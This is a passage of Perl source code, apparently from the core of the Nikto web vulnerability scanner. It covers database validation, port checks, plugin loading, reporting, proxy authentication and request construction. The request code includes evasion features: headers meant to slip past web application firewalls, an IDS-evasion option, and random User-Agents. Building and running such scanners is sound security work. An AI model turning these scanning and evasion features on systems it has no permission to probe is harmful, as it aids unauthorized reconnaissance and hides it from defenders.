after \@VARIABLE: $line"); nprint( "\t+ If this slash is needed for this test: Please add the ID $L[0] at line " . (__LINE__- 2) . " in the nikto_core.plugin."); } # Validate POST data usage if ((($L[4] ne 'POST') && ($L[4] ne 'SEARCH')) && ($L[7] ne '')) { # Some test IDs need this if ($L[0] !~ /(006992|000126|000291|001153)/i) { nprint( "\t+ ERROR: Possible incorrect use of POST data without POST method on line: $line" ); nprint( "\t+ If the POST data is needed for this test: Please add the ID $L[0] at line " . (__LINE__- 2) . " in the nikto_core.plugin."); } } } foreach $entry (keys %ENTRIES) { if ($ENTRIES{$entry} > 1) { nprint("\t+ ERROR: Duplicate Check Syntax ($ENTRIES{$entry}): $entry"); } } nprint("\t" . keys(%ENTRIES) . " entries"); } elsif ($file =~ /u?db_variables/) { my $ctr = 0; foreach $line () { if ($line !~ /^\@/) { next; } if ($line !~ /^\@.+\=.+$/i) { nprint("\t+ ERROR: Invalid syntax: $line"); } $ctr++; } nprint("\t$ctr entries"); } elsif ($file =~ /u?db_404_strings/ || $file =~ /u?db_dictionary/) { my $ctr = 1; my %STRINGS; foreach $line () { chomp($line); $line =~ s/\#.*$//; next if $line eq ''; my ($result, $bad) = validate_and_fix_regex($line, 1); if ($bad) { nprint("\t+ ERROR: Invalid regex on line $ctr: \"$line\""); } if (exists($STRINGS{$line})) { nprint("\t+ ERROR: Duplicate String: $line"); } else { $STRINGS{$line} = 1; } $ctr++; } $ctr--; nprint("\t$ctr entries"); } elsif ($file =~ /u?db_headers_suggested/) { my $ctr = 0; my %HEADERS; foreach $line () { chomp($line); $line =~ s/\#.*$//; next if $line eq ''; my @fields = parse_csv($line); # Skip header line if present if ($fields[0] =~ /^header$/i) { next; } if (scalar(@fields) != 2) { nprint("\t+ ERROR: Invalid syntax (expected 2 fields): $line"); } if (exists($HEADERS{ $fields[0] })) { nprint("\t+ ERROR: Duplicate Header: $fields[0]"); } else { $HEADERS{ $fields[0] } = 1; } $ctr++; } nprint("\t$ctr entries"); } elsif ($file =~ /u?db_headers_common/) { my $ctr = 0; my %HEADERS; foreach $line () { chomp($line); $line =~ s/\#.*$//; next if $line eq ''; if ((count_fields($line) ne 0) && (count_fields($line) ne '')) { nprint("\t+ ERROR: Invalid syntax: $line"); } if (exists($HEADERS{$line})) { nprint("\t+ ERROR: Duplicate Header: $line"); } else { $HEADERS{$line} = 1; } $ctr++; } nprint("\t$ctr entries"); } elsif ($file =~ /u?db_multiple_index/) { my $ctr = 0; foreach $line () { if ((count_fields($line) ne 0) && (count_fields($line) ne '')) { nprint("\t+ ERROR: Invalid syntax: $line"); } $ctr++; } nprint("\t$ctr entries"); } elsif ($file =~ /u?db_useragents/) { my $ctr = 0; foreach $line () { chomp($line); next if $line =~ /^\#/; next if $line eq ''; if ($line !~ /^\"[^"]+\"/) { nprint("\t+ ERROR: Invalid syntax: $line"); } $ctr++; } nprint("\t$ctr entries"); } else { # It's a file of standard DB type, we can do this intelligently my (@headers, @regex_fields); my $ctr = 0, $fields = 0; foreach $line () { $line =~ s/^#.*//; next if $line eq ""; # first, grab the headers if ($fields == 0) { @headers = parse_csv($line); $fields = $#headers; # check regex fields for syntax for (my $i = 0 ; $i <= $#headers ; $i++) { if ( ($headers[$i] eq 'match') || ($headers[$i] eq 'matchstring') || ($headers[$i] eq 'server')) { push(@regex_fields, $i); } } next; } chomp($line); next if $line eq ""; my @entry = parse_csv($line); if ($regex_fields[0] ne '') { foreach my $f (@regex_fields) { my ($result, $bad) = validate_and_fix_regex($entry[$f], 1); if ($bad) { nprint("\t+ ERROR: Invalid regex in field $f on line $ctr: \"$line\""); } } } if ( (count_fields($line, 1) != $fields - 1) && (count_fields($line) ne '')) { nprint("\t+ ERROR: Invalid syntax: $line"); } if (($entry[0] ne 0) && exists($ALL_IDS{ $entry[0] })) { nprint("\t+ ERROR: Duplicate Test ID: $entry[0]"); } else { $ALL_IDS{ $entry[0] } = 1; } $ctr++; } nprint("\t$ctr entries"); } close(IN); } # Try to grab the test IDs from plugins to check for duplicates. Not foolproof. nprint("Checking plugins for duplicate test IDs"); my $found = 0; my @pluginlist = dirlist("$CONFIGFILE{'PLUGINDIR'}", '\.plugin$'); foreach my $pf (@pluginlist) { open(PF, "<$CONFIGFILE{'PLUGINDIR'}/$pf") || die print STDERR "+ ERROR: Unable to open '$pf': $@\n"; my @file = ; close(PF); my @adds = grep(/add_vulnerability\(/, @file); foreach my $addv (@adds) { chomp($addv); my @bits = parse_csv($addv); $bits[2] =~ s/\s+//g; $bits[2] =~ s/\"//g; if ($bits[2] =~ /^[\d]+$/) { if (($bits[2] ne 0) && exists($ALL_IDS{ $bits[2] })) { $found++; nprint("\t+ ERROR: Duplicate Test ID: $bits[2]"); } else { $ALL_IDS{ $bits[2] } = 1; } } } } nprint("\t$found entries"); # Bad practice here but this one won't parse right above ¯\_(ツ)_/¯ $ALL_IDS{'000137'} = 1; # TLS issues # Look for bad/invalid IDs foreach my $id (keys %ALL_IDS) { chomp($id); next if (($id eq 0) || ($id eq '') || ($id eq 'nikto_id')); if ($id =~ /[^\d]/) { nprint("+ ERROR: Invalid test ID: $id"); next; } if (length($id) < 6) { nprint("+WARNING: Possibly invalid test ID: $id"); } } # Suggest some open IDs my @open; my $id = '000001'; while ($#open < 6) { if (!exists($ALL_IDS{$id})) { push(@open, $id); } $id++; } nprint("\nSome (probably) open IDs: " . join(", ", @open)); nprint("\n"); exit 1; } ############################################################################### sub count_fields { my $line = $_[0] || return; my $checkid = $_[1] || 0; if ($line !~ /^\"/) { return; } chomp($line); $line =~ s/\s+$//; if ($line eq '') { return; } my @L = parse_csv($line); if ($checkid && ($L[0] ne 'nikto_id') && (($L[0] =~ /[^0-9]/) || ($L[0] eq ''))) { return -1; } return $#L; } ############################################################################### sub port_check { my ($start_time, $hostname, $ip, $port, $key, $cert, $vhost) = @_; my $m = {}; $m->{'start_time'} = $start_time; $m->{'hostname'} = $vhost || $hostname; $m->{'ip'} = $ip; $m->{'port'} = $port; $m->{'ssl'} = 0; my @checktypes; if ($CLI{'nossl'}) { @checktypes = ('HTTP'); } elsif ($CLI{'ssl'} || $CLI{'host'} =~ /^https/i) { @checktypes = ('HTTPS'); } else { @checktypes = ('HTTP', 'HTTPS'); } foreach my $method (split(/ /, $CONFIGFILE{'CHECKMETHODS'})) { $request{'whisker'}->{'method'} = $method; foreach my $checkssl (@checktypes) { nprint("- Checking for $checkssl on " . ($m->{'hostname'} || $m->{'ip'}) . ":$port, using $method", "v", "CheckSSL", ($m->{'hostname'}, $m->{'ip'}, $m->{'displayname'}) ); $m->{ssl} = ($checkssl eq "HTTP") ? 0 : 1; if ($m->{'ssl'}) { $m->{'key'} = $key; $m->{'cert'} = $cert; } proxy_check($m); my ($res, $content, $error, $request, $response) = nfetch($m, "/", $method, "", "", { noerror => 1, noprefetch => 1, nopostfetch => 1 }, "PortCheck"); if ($res) { # Some Apache servers are annoying and answer non-TLS requests on a TLS server. if (defined $content && ($content =~ /plain HTTP (?:to an SSL|request was sent to HTTPS)/)) { dump_var("Result Hash", \%result, ($m->{'hostname'}, $m->{'ip'}, $m->{'displayname'})); next; } nprint("- $checkssl server found: " . ($m->{'hostname'} || $m->{'ip'}) . ":$port \t$response->{server}", "d", ($m->{'hostname'}, $m->{'ip'}, $m->{'displayname'}) ); return $m->{'ssl'} + 1; } } } my $msg = "Unable to connect to " . ($hostname || $ip) . ":$port"; if ($CLI{'ipv6'}) { $msg .= ". Ensure you have IPv6 connectivity. Trying running Nikto with the '-check6' flag."; } nprint($VARIABLES{'DIV'}); return $msg; } ############################################################################### sub load_plugins { my @pluginlist = dirlist("$CONFIGFILE{'PLUGINDIR'}", '\.plugin$'); my @all_names; # populate plugin macros $CONFIGFILE{'@@NONE'} = ""; # Check if running plugins is NONE - if so, don't bother initializing plugins if ($CLI{'plugins'} eq '@@NONE') { return; } foreach my $plugin (@pluginlist) { my $plugin_name = $plugin; $plugin_name =~ s/\.plugin$//; my $plugin_init = $plugin_name . "_init"; eval { require "$CONFIGFILE{'PLUGINDIR'}/$plugin"; }; if ($@) { nprint("- Could not load or parse plugin: $plugin_name\n Error: "); warn $@; nprint("- The plugin could not be run."); } else { nprint("- Initializing plugin $plugin_name", "v", "Init"); # Call initialisation method if (defined &$plugin_init) { my $pluginhash = &$plugin_init; # Add default weights if not already assigned while (my ($hook, $hook_params) = each(%{ $pluginhash->{'hooks'} })) { $hook_params->{$hook}->{'weight'} = 50 unless (defined $hook_params->{$hook}->{'weight'}); } $pluginhash->{report_weight} = 50 unless (defined $pluginhash->{report_weight}); push(@all_names, $pluginhash->{name}); push(@PLUGINS, $pluginhash); nprint("- Loaded \"$pluginhash->{full_name}\" plugin.", "v", "Init"); } else { nprint("WARNING: No init found for $plugin_name\n", "d"); } } } $CONFIGFILE{'@@ALL'} = join(';', @all_names); my @torun = split(/;/, expand_pluginlist($CLI{'plugins'}, 0)); # Force-enable report plugins if needed if ($CLI{'plugins'} =~ /\@NONE/ && defined $CLI{'formats'} && ref($CLI{'formats'}) eq 'ARRAY') { my %format_map = ('csv' => 'report_csv', 'json' => 'report_json', 'htm' => 'report_html', 'html' => 'report_html', 'sql' => 'report_sqlg', 'sqld' => 'report_sqld', 'txt' => 'report_text', 'xml' => 'report_xml' ); foreach my $fmt (@{ $CLI{'formats'} }) { if (exists $format_map{$fmt}) { push(@torun, $format_map{$fmt}) unless grep { $_ eq $format_map{$fmt} } @torun; } } } # Second pass to ensure that @@ALL is configured foreach my $plugin (@PLUGINS) { # Check that the plugin is to be run # Perl doesn't allow us to use "in", pity foreach my $torun_plugin (@torun) { next if ($torun_plugin eq ""); # split up into parameters my $name = my $suffix = $torun_plugin; if ($torun_plugin =~ /\(/) { $name =~ s/(.*)(\(.*\))/$1/; $suffix =~ s/(.*)(\(.*\))/$2/; } else { $name = $torun_plugin; $suffix = ""; } if ($plugin->{'name'} =~ /$name/i) { $plugin->{'run'} = 1; # Create parameters if ($suffix ne "") { my $parameters = {}; $suffix =~ s/(\()(.*[^\)])(\)?)/$2/; foreach my $parameter (split(/,/, $suffix)) { if ($parameter !~ /:/) { $parameters->{$parameter} = 1; } else { my $key = my $value = $parameter; $key =~ s/:.*//; $value =~ s/.*://; $parameters->{$key} = $value; } } $plugin->{'parameters'} = $parameters; } } } } # first build a temporary hash of all known hooks my %hooks; foreach my $plugin (@PLUGINS) { foreach my $hook (keys(%{ $plugin->{'hooks'} })) { $hooks{$hook} = (); } } # now we know the types of hooks, look through each plugin for them foreach my $hook (keys(%hooks)) { foreach my $plugin (@PLUGINS) { if ($plugin->{'run'} == 1) { if (defined $plugin->{'hooks'}->{$hook}->{'method'}) { push(@{ $hooks{$hook} }, $plugin); } } } } # Now sort each array by weight foreach my $hook (keys(%hooks)) { my @sorted = sort { $a->{'hooks'}->{$hook}->{'weight'} <=> $b->{'hooks'}->{$hook}->{'weight'} } @{ $hooks{$hook} }; $PLUGINORDER{$hook} = \@sorted; } } ############################################################################### sub run_hooks { my ($mark, $type, $request, $response) = @_; # Cache plugin array reference to avoid repeated hash access my $plugins = $PLUGINORDER{$type}; return ($request, $response) unless $plugins; foreach my $plugin (@$plugins) { return ($request, $response) if $mark->{'terminate'}; # Cache hook reference to avoid repeated hash access my $hook = $plugin->{'hooks'}->{$type}; next unless $hook; # Check conditionals more efficiently my $run = 1; if (my $condition = $hook->{'cond'}) { $run = eval($condition); next unless $run; } # Cache plugin parameters and full_name my $parameters = $plugin->{'parameters'}; my $full_name = $plugin->{'full_name'}; # Save current output states my $oldverbose = $OUTPUT{'verbose'}; my $olddebug = $OUTPUT{'debug'}; my $olderrors = $OUTPUT{'errors'}; # Set output flags based on parameters $OUTPUT{'verbose'} = 1 if $parameters && $parameters->{'verbose'} == 1; $OUTPUT{'debug'} = 1 if $parameters && $parameters->{'debug'} == 1; # Print status unless it's a prefetch/postfetch hook unless ($type eq "prefetch" || $type eq "postfetch") { nprint("- Running $type for \"$full_name\" plugin", "v", "Plugins"); $NIKTO{'current_plugin'} = $full_name; } # Execute the hook method &{ $hook->{'method'} }($mark, $parameters, $request, $response); # Restore output states $OUTPUT{'verbose'} = $oldverbose; $OUTPUT{'debug'} = $olddebug; $OUTPUT{'errors'} = $olderrors; } return ($request, $response); } ############################################################################### sub report_head { # Support multiple formats: use formats array my @formats_to_process = (); my %files_to_process = (); if (defined $CLI{'formats'} && ref($CLI{'formats'}) eq 'ARRAY' && @{ $CLI{'formats'} } > 0) { # Multiple formats from comma-separated list @formats_to_process = @{ $CLI{'formats'} }; if (defined $CLI{'files'} && ref($CLI{'files'}) eq 'HASH') { %files_to_process = %{ $CLI{'files'} }; } } else { # Fallback: no formats specified (should not happen, but handle gracefully) nprint("+ WARNING: No formats specified for reporting", "v", "Reports"); return; } nprint("- Opening reports (" . join(',', @formats_to_process) . ")", "v", "Reports"); # Process each format separately to ensure unique handles foreach my $format_to_use (@formats_to_process) { my $file_to_use = $files_to_process{$format_to_use} || ''; # Skip file-based formats that don't have a file (unless sqld/none) if ($file_to_use eq '' && $format_to_use ne 'none' && $format_to_use ne 'sqld') { nprint("+ ERROR: No file specified for format: $format_to_use", "v", "Reports"); next; } foreach my $i (1 .. 100) { foreach my $plugin (@PLUGINS) { if ( $plugin->{run} && defined $plugin->{report_item} && $plugin->{report_weight} == $i) { my $run = 1; # Check if this plugin handles this format if (defined $plugin->{report_format}) { $run = ($format_to_use eq $plugin->{report_format}); } if ($run) { nprint( "- Opening report for \"$plugin->{full_name}\" plugin ($format_to_use) -> $file_to_use", "v", "Reports" ); my $handle; if (defined $plugin->{report_head}) { # Each plugin gets its own unique lexical handle $handle = &{ $plugin->{report_head} }($file_to_use); # Ensure autoflush is enabled (already done in plugin, but double-check) if (defined $handle && ref($handle) eq 'GLOB') { $handle->autoflush(1); } } # Store this report entry with its unique handle my $report_entry = { host_start => $plugin->{report_host_start}, host_end => $plugin->{report_host_end}, item => $plugin->{report_item}, close => $plugin->{report_close}, summary => $plugin->{report_summary}, ssl_info => $plugin->{report_ssl_info}, # SSL info hook handle => $handle, format => $format_to_use, # Store for debugging file => $file_to_use, # Store for debugging }; push(@REPORTS, $report_entry); } } } } } return; } ############################################################################### # Generate scanid for SQL reporting # Format: MD5 hash of "protocol://hostname:port/timestamp" # Example: LW2::md5("https://example.com:443/2025:12:16:03:30:44GMT") sub generate_scanid { my ($mark) = @_; # Determine protocol my $protocol = $mark->{'ssl'} ? 'https' : 'http'; # Get hostname (prefer vhost if present) my $hostname = $mark->{'vhost'} ? $mark->{'vhost'} : $mark->{'hostname'}; # Get port my $port = $mark->{'port'} || ($mark->{'ssl'} ? 443 : 80); # Get GMT timestamp in format YYYY:MM:DD:HH:MM:SSGMT my @gmt = gmtime(time); my $timestamp = sprintf("%04d:%02d:%02d:%02d:%02d:%02dGMT", $gmt[5] + 1900, # year $gmt[4] + 1, # month $gmt[3], # day $gmt[2], # hour $gmt[1], # minute $gmt[0] ); # second # Generate MD5 hash my $scanid = LW2::md5("$protocol://$hostname:$port/$timestamp"); return $scanid; } ############################################################################### sub report_host_start { my ($mark) = @_; # Generate scanid for SQL reporting plugins $mark->{'scanid'} = generate_scanid($mark); # Go through all reporting modules foreach my $reporter (@REPORTS) { if (defined $reporter->{host_start}) { &{ $reporter->{host_start} }($reporter->{handle}, $mark); } } } ############################################################################### sub report_host_end { my ($mark) = @_; # Go through all reporting modules foreach my $reporter (@REPORTS) { if (defined $reporter->{host_end}) { &{ $reporter->{host_end} }($reporter->{handle}, $mark); } } } ############################################################################### sub report_summary { my ($mark) = @_; # Go through all reporting modules foreach my $reporter (@REPORTS) { if (defined $reporter->{summary}) { &{ $reporter->{summary} }($reporter->{handle}, $mark); } } } ############################################################################### sub report_item { my ($mark, $item) = @_; if (($item->{'uri'} eq 'undef') || ($item->{'uri'} eq '')) { $item->{'uri'} = '/'; } # Go through all reporting modules foreach my $reporter (@REPORTS) { if (defined $reporter->{item}) { &{ $reporter->{item} }($reporter->{handle}, $mark, $item); } } } ############################################################################### sub report_ssl_info { my ($mark) = @_; # Only report SSL info if SSL is enabled and info is available return unless ($mark->{'ssl'} && defined $mark->{'ssl_cipher'}); # Go through all reporting modules foreach my $reporter (@REPORTS) { if (defined $reporter->{ssl_info}) { &{ $reporter->{ssl_info} }($reporter->{handle}, $mark); } } } ############################################################################### sub report_close { # Go through all reporting modules foreach my $reporter (@REPORTS) { # Explicitly flush the handle before closing to ensure all data is written if (defined $reporter->{handle}) { my $fh = $reporter->{handle}; # Only flush file handles (GLOB refs), not database handles or other types if (ref($fh) eq 'GLOB') { # Ensure autoflush is enabled $fh->autoflush(1); # Try to flush explicitly if method exists if ($fh->can('flush')) { eval { $fh->flush(); }; } } } # Call plugin's close function (it may close the handle itself) if (defined $reporter->{close}) { &{ $reporter->{close} }($reporter->{handle}); } # Explicitly close file handles after plugin's close (in case plugin didn't close it) # Only close GLOB file handles, not database handles (DBI) or STDOUT if (defined $reporter->{handle} && ref($reporter->{handle}) eq 'GLOB') { # Don't close STDOUT/STDERR if ($reporter->{handle} ne \*STDOUT && $reporter->{handle} ne \*STDERR) { eval { close($reporter->{handle}); }; } } } } ############################################################################### # portions of this sub were taken from the Term::ReadPassword module. # It has been modified to not require Term::ReadLine, but still requires # POSIX::Termios if it's a POSIX machine ############################################################################### sub read_data { if ($CONFIGFILE{PROMPTS} eq 'no') { return; } my ($prompt, $mode, $POSIX) = @_; my $input; my %SPECIAL = ("\x03" => 'INT', # Control-C, Interrupt "\x08" => 'DEL', # Backspace "\x7f" => 'DEL', # Delete "\x0d" => 'ENT', # CR, Enter "\x0a" => 'ENT', # LF, Enter ); local (*TTY, *TTYOUT); open TTY, "<&STDIN" or return; open TTYOUT, ">>&STDOUT" or return; # Don't buffer it! select((select(TTYOUT), $| = 1)[0]); print TTYOUT $prompt; # Remember where everything was my $fd_tty = fileno(TTY); my $term = POSIX::Termios->new(); $term->getattr($fd_tty); my $original_flags = $term->getlflag(); if ($mode eq "noecho") { my $new_flags = $original_flags & ~(ISIG | ECHO | ICANON); $term->setlflag($new_flags); } $term->setattr($fd_tty, TCSAFLUSH); KEYSTROKE: while (1) { my $new_keys = ''; my $count = sysread(TTY, $new_keys, 99); if ($count) { for my $new_key (split //, $new_keys) { if (my $meaning = $SPECIAL{$new_key}) { if ($meaning eq 'ENT') { last KEYSTROKE; } elsif ($meaning eq 'DEL') { chop $input; } elsif ($meaning eq 'INT') { last KEYSTROKE; } else { $input .= $new_key; } } else { $input .= $new_key; } } } else { last KEYSTROKE; } } # Done with waiting for input. Let's not leave the cursor sitting # there, after the prompt. print TTY "\n"; nprint("\n"); # Let's put everything back where we found it. $term->setlflag($original_flags); $term->setattr($fd_tty, TCSAFLUSH); close(TTY); close(TTYOUT); return $input; } ############################################################################### sub proxy_check { my ($mark) = @_; setup_hash(\%request, $mark, "Proxy Check"); if (($request{'whisker'}->{'proxy_host'} ne '') && ($CLI{'useproxy'})) # proxy is set up { LW2::http_close(\%request); # force-close any old connections $request{'whisker'}->{'method'} = "GET"; $request{'whisker'}->{'uri'} = "/"; LW2::http_fixup_request(\%request); sleeper(); LW2::http_do_request_timeout(\%request, \%response); $COUNTERS{'totalrequests'}++; dump_var("Request Hash", \%request, ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'})); dump_var("Response Hash", \%response, ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'})); # First check that we can connect to the proxy if (exists $response{'whisker'}{'error'}) { if ($response{'whisker'}{'error'} =~ /Transport endpoint is not connected/) { nprint("+ ERROR: Could not connect to the defined proxy $CONFIGFILE{PROXYHOST}"); } nprint("+ ERROR: Proxy error: $response{'whisker'}{'error'}"); exit 1; } if ($response{'whisker'}{'code'} eq "407") # proxy requires auth { # have id/pw? if ($CONFIGFILE{PROXYUSER} eq "") { $CONFIGFILE{PROXYUSER} = read_data("Proxy ID: ", ""); $CONFIGFILE{PROXYPASS} = read_data("Proxy Pass: ", "noecho"); } if ($response{'proxy-authenticate'} !~ /Basic/i) { my @x = split(/ /, $response{'proxy-authenticate'}); nprint( "+ Proxy server uses '$x[0]' rather than 'Basic' authentication. $VARIABLES{'name'} $VARIABLES{'version'} can't do that." ); exit 1; } # test it... LW2::http_close(\%request); # force-close any old connections LW2::auth_set("proxy-basic", \%request, $CONFIGFILE{PROXYUSER}, $CONFIGFILE{PROXYPASS}) ; # set auth LW2::http_fixup_request(\%request); sleeper(); LW2::http_do_request_timeout(\%request, \%response); $COUNTERS{'totalrequests'}++; dump_var("Request Hash", \%request, ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'})); dump_var("Response Hash", \%response, ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'})); if ($response{'proxy-authenticate'} ne "") { my @pauthinfo = split(/ /, $response{'proxy-authenticate'}); my @pauthinfo2 = split(/=/, $response{'proxy-authenticate'}); $pauthinfo2[1] =~ s/^\"//; $pauthinfo2[1] =~ s/\"$//; nprint( "+ Proxy requires authentication for '$pauthinfo[0]' realm '$pauthinfo2[1]', unable to authenticate." ); exit 1; } else { nprint("- Successfully authenticated to proxy.", "v", undef); } } } return; } ####################################################################### sub dump_var { return if !$OUTPUT{'debug'}; my $msg = $_[0]; my %hash_in = %{ $_[1] }; my @scrubs; for (my $i = 2 ; $i <= $#_ ; $i++) { push(@scrubs, $_[$i]); } my $display = LW2::dump('', \%hash_in); my $new; $display =~ s/^\$/'$msg'/; if ($OUTPUT{'scrub'}) { $new = ""; foreach my $line (split(/\n/, $display)) { $line = scrub($line, @scrubs); $new .= "$line\n"; } $display = $new; } nprint($display, "d"); return; } ####################################################################### sub get_ua { # Always honor command line if ($CLI{'useragent'}) { return $CLI{'useragent'}; } # Return a random User-Agent from @USERAGENTS array if ( defined($VARIABLES{'@USERAGENTS'}) && ref($VARIABLES{'@USERAGENTS'}) eq 'ARRAY' && @{ $VARIABLES{'@USERAGENTS'} }) { my $ua = $VARIABLES{'@USERAGENTS'}->[ rand(@{ $VARIABLES{'@USERAGENTS'} }) ]; $ua =~ s/^"//; $ua =~ s/"$//; return $ua; } return undef; } ####################################################################### sub setup_hash { my ($reqhash, $mark, $testid) = @_; # Clear the hash first (like LW2::http_init_request does) %$reqhash = (); # Initialize the whisker hash $reqhash->{'whisker'} = {}; # Cache whisker hash reference to avoid repeated dereferencing my $whisker = $reqhash->{'whisker'}; # Set all required whisker properties (matching LW2::http_init_request defaults) $whisker->{'http_space1'} = ' '; $whisker->{'http_space2'} = ' '; $whisker->{'version'} = $CONFIGFILE{'DEFAULTHTTPVER'} || '1.1'; $whisker->{'method'} = 'GET'; $whisker->{'protocol'} = 'HTTP'; $whisker->{'port'} = $mark->{'port'} || 80; $whisker->{'uri'} = '/'; $whisker->{'uri_prefix'} = ''; $whisker->{'uri_postfix'} = ''; $whisker->{'uri_param_sep'} = '?'; $whisker->{'host'} = $mark->{'hostname'} || $mark->{'ip'}; $whisker->{'timeout'} = $CLI{'timeout'} || 10; $whisker->{'include_host_in_uri'} = 0; $whisker->{'ignore_duplicate_headers'} = 0; $whisker->{'normalize_incoming_headers'} = 1; $whisker->{'lowercase_incoming_headers'} = 1; $whisker->{'require_newline_after_headers'} = 0; $whisker->{'invalid_protocol_return_value'} = 1; $whisker->{'ssl'} = $mark->{'ssl'} || 0; $whisker->{'ssl_save_info'} = 1; $whisker->{'http_eol'} = "\x0d\x0a"; $whisker->{'force_close'} = 0; $whisker->{'force_open'} = 0; $whisker->{'retry'} = 0; $whisker->{'trailing_slurp'} = 0; $whisker->{'force_bodysnatch'} = 0; $whisker->{'max_size'} = 750000; $whisker->{'MAGIC'} = 31339; # Set SSL-specific fields if needed if ($mark->{'ssl'}) { $whisker->{'ssl_rsacertfile'} = $mark->{'key'}; $whisker->{'ssl_certfile'} = $mark->{'cert'}; } # Set evasion only if needed $whisker->{'anti_ids'} = $CLI{'evasion'} if (length($CLI{'evasion'})); # Set default headers (like LW2::http_init_request does) $reqhash->{'Connection'} = 'Keep-Alive'; # Random User-Agent $reqhash->{'User-Agent'} = get_ua(); # Set Host header only if vhost is configured if ($mark->{'has_vhost'}) { $reqhash->{'Host'} = $mark->{'vhost'}; } # Proxy configuration if (length($CONFIGFILE{PROXYHOST}) && $CLI{'useproxy'}) { $whisker->{'proxy_host'} = $CONFIGFILE{'PROXYHOST'}; $whisker->{'proxy_port'} = $CONFIGFILE{'PROXYPORT'}; # Set proxy auth only if credentials are provided if (length($CONFIGFILE{'PROXYUSER'})) { LW2::auth_set("proxy-basic", $reqhash, $CONFIGFILE{'PROXYUSER'}, $CONFIGFILE{'PROXYPASS'}); } } return $reqhash; } ####################################################################### sub running_average { my $last = shift; my ($mark) = @_; # Use push instead of unshift for better performance push(@{ $mark->{'running_avg'} }, $last); # Only splice if we exceed the limit (more efficient than always splicing) if (@{ $mark->{'running_avg'} } > 100) { splice(@{ $mark->{'running_avg'} }, 0, @{ $mark->{'running_avg'} } - 100); } } ####################################################################### sub running_average_print { use List::Util qw(sum); my ($mark) = @_; my @data = @{ $mark->{'running_avg'} }; my $elements = @data; # More efficient than $#data + 1 return "Running average: Not enough data." if $elements == 0; my $message = ''; if ($elements == 100) { my $avg = sum(@data) / $elements; $message = sprintf("100 requests: %.5f sec, ", $avg); } if ($elements > 10) { my @recent_data = @data[ ($#data - 9) .. $#data ]; my $recent_count = @recent_data; my $avg = sum(@recent_data) / $recent_count; $message .= sprintf("10 requests: %.4f sec", $avg); } return "Running average: $message."; } ####################################################################### sub nfetch { my ($mark, $uri, $method, $data, $headers_send, $flags, $testid, $httpver) = @_; my (%request, %response); setup_hash(\%request, $mark, $testid); # Ensure $flags is a hash reference (handle cases where empty string is passed) if (!ref($flags) || ref($flags) ne 'HASH') { $flags = {}; } # Check for keyboard input & terminate flag if (!$CLI{'nointeractive'} && !(($COUNTERS{'totalrequests'} % 10))) { $mark->{'terminate'} = 1 if (check_input($mark) eq 'term'); } # Check execution time if (my $maxtime = $CLI{'maxtime'}) { # Cache start_time to avoid repeated hash access my $start_time = $mark->{'start_time'}; if ((time() - $start_time) > $maxtime) { nprint("+ ERROR: Host maximum execution time of $maxtime seconds reached"); $mark->{'terminate'} = 1; } } # Prepend -root option's value if set $request{'whisker'}->{'uri'} = $mark->{'root'} . $uri; # Remove trailing slash if requested $request{'whisker'}->{'uri'} =~ s/\/$// if ($CLI{'noslash'}); $request{'whisker'}->{'method'} = $method; # POST data? if (length($data)) { $data =~ s/\\\"/\"/g; $request{'whisker'}->{'data'} = $data; } # Default an unobtrusive headers to help WAF evasion $request{'whisker'}->{'Accept'} = 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'; $request{'whisker'}->{'Accept-Language'} = 'en-US,en;q=0.5'; $request{'whisker'}->{'Cache-Control'} = 'max-age=0'; $request{'whisker'}->{'Connection'} = 'keep-alive'; $request{'whisker'}->{'Upgrade-Insecure-Requests'} = '1'; $request{'whisker'}->{'Sec-Fetch-Dest'} = 'document'; $request{'whisker'}->{'Sec-Fetch-Mode'} = 'navigate'; $request{'whisker'}->{'Sec-Fetch-Site'} = 'none'; $request{'whisker'}->{'Sec-Fetch-User'} = '?1'; # Check for extra HTTP headers if (ref($headers_send) eq "HASH") { # Use explicit hash assignment instead of slice assignment foreach my $key (keys %$headers_send) { $request{$key} = $headers_send->{$key}; } } # Add custom headers from CLI if any if (defined $CLI{'headers'} && @{ $CLI{'headers'} }) { foreach my $header (@{ $CLI{'headers'} }) { if ($header =~ /^([^:]+):\s*(.+)$/) { my ($headername, $value) = ($1, $2); $request{$headername} = $value; } } } # Set auth if (my $realm = $mark->{'realms'}{'default'}) { if (length($realm->{'authtype'})) { LW2::auth_set($realm->{'authtype'}, $request, $realm->{'id'}, $realm->{'password'}); } } # Set cookies LW2::cookie_write($mark->{'cookiejar'}, \%request, 1) if defined($mark->{'cookiejar'}); # Override HTTP version $request{'whisker'}->{'version'} = $httpver if ($httpver ne ''); $request{'whisker'}->{'host'} = $mark->{'ip'} if ($flags->{'nohost'}); LW2::http_fixup_request(\%request) unless ($flags->{'noclean'}); # Run pre hooks unless ($flags->{'noprefetch'}) { (%$request, %$response) = run_hooks($mark, "prefetch", \%request, \%response); } # Do the request sleeper(); my $time = [gettimeofday]; LW2::http_do_request_timeout(\%request, \%response); $COUNTERS{'totalrequests'}++; if (!$VARIABLES{'MSWIN32'}) { running_average(tv_interval($time, [gettimeofday]), $mark); } # If we got an error, do 1 retry - optimized if (my $whisker = $response{'whisker'}) { if (defined $whisker->{'error'} || $whisker->{'code'} eq '') { $mark->{'failures'}++; sleeper(); LW2::http_do_request_timeout(\%request, \%response); $COUNTERS{'totalrequests'}++; } } # Get cookies from response & add to jar if (!$CLI{'nocookies'}) { my $tmpjar = LW2::cookie_new_jar(); LW2::cookie_read(\%tmpjar, \%response, \%request); # Cache cookiejar reference to avoid repeated hash access my $cookiejar = $mark->{'cookiejar'}; # Use more efficient array construction foreach my $c (keys %tmpjar) { my $cookie_data = $tmpjar{$c}; $cookiejar->{$c} = [ $cookie_data->[0], $cookie_data->[1], $cookie_data->[2], undef, $cookie_data->[4] ]; } } # follow redirects if ($CLI{'followredirects'} && ($response{'whisker'}->{'code'} =~ /^30[1278]/)) { my $newlocation = $response{'location'}; my $port = $mark->{'port'}; # Is a full URL redirect the same host? # Pre-compute host alternatives for better performance my $host_re = join '|', map { quotemeta $_ } ($mark->{'ip'}, $mark->{'hostname'}, $mark->{'display_name'}); # Only build port regex if port is specified if ($port && $port != 80 && $port != 443) { my $port_re = '(?:\:' . quotemeta($port) . ')?'; if ($response{'location'} =~ /^https?:\/\/($host_re)$port_re\//i) { $newlocation =~ s{^https?:\/\/(?:$host_re)$port_re/}{/}i; } 